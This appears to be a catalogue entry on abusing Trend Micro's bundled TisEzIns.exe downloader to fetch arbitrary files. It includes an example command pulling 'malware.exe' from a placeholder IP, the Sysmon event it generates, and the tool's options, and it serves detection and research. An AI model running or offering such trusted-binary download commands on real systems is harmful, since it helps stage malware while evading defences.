Summary#

The TisEzIns binary bundled with TrendMicro installer and used by it to download the latest version of TrendMicro can be abused to download arbitrary file.

The binary contains the following description: Helps download the Trend Micro software installer

Example#

TisEzIns.exe /b /u "http://10.10.1.10/malware.exe" /f "C:\path\to\save\malware.exe"

Generated event

- <Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
- <System>
  <Provider Name="Microsoft-Windows-Sysmon" Guid="{5770385f-c22a-43e0-bf4c-06f5698ffbd9}" /> 
  <EventID>11</EventID> 
  <Version>2</Version> 
  <Level>4</Level> 
  <Task>11</Task> 
  <Opcode>0</Opcode> 
  <Keywords>0x8000000000000000</Keywords> 
  <TimeCreated SystemTime="2023-05-11 17:31:30.0297853Z" /> 
  <EventRecordID>1721279854</EventRecordID> 
  <Correlation /> 
  <Execution ProcessID="6488" ThreadID="8544" /> 
  <Channel>Microsoft-Windows-Sysmon/Operational</Channel> 
  <Computer>XXXXX</Computer> 
  <Security UserID="S-1-5-18" /> 
  </System>
- <EventData>
  <Data Name="RuleName">-</Data> 
  <Data Name="UtcTime">2023-05-11 17:31:30.029</Data> 
  <Data Name="ProcessGuid">{9a08371b-9561-6476-3d05-030000002800}</Data> 
  <Data Name="ProcessId">36616</Data> 
  <Data Name="Image">C:\LabStuff\TrendMicro-LOLBIN\Vizor32\TisEzIns.exe</Data> 
  <Data Name="TargetFilename">C:\path\to\save\malware.exe</Data> 
  <Data Name="CreationUtcTime">2023-05-11 17:31:30.029</Data> 
  <Data Name="User">XXXXX</Data> 
  </EventData>
  </Event>

Command-Line Options#

IPC:
    -a <agent>,    Specify the user agent used in the HTTP protocol
    -w <event>,    Wait for an windows event
    -p <event>,    Paule an windows event
FileName:
    -f <path>,     The full path of downloaded file. Use CWD + original file name if no specification
URL:
    -u <url>,      The target file location
Options:
    -e <epid>,     Register event callback
    -m <value>,    MD5 value
    -v <log_type>, Verbose Mode
    -h,            Display usage
    -c,            Continue previous downloading
    -b,            Run downloaded in background

For reference, a legitimate CLI would look something like this:

"C:\ProgramData\Trend Micro Installer\TrendMicro_XX.X_HE_Full_XXXXXX\Vizor32\TisEzIns.exe" /v XXXX /b /e XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX /u "https://files.trendmicro.com/products/XXXXXXX/XX.X_XXXX/Global/XXXXXXXX/TrendMicro_XX.X_XXXX_HE_64bit.exe" /c /m XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX /p TREND_VIZOR_GLOBAL_EVENT_CONNECTION_ESTABLISHED /w TREND_VIZOR_GLOBAL_EVENT_SIA_DOWNLOAD_NOW /a XXXXXXXXXXX /f "C:\WINDOWS\temp\trend download\TrendMicro_Download.exe"

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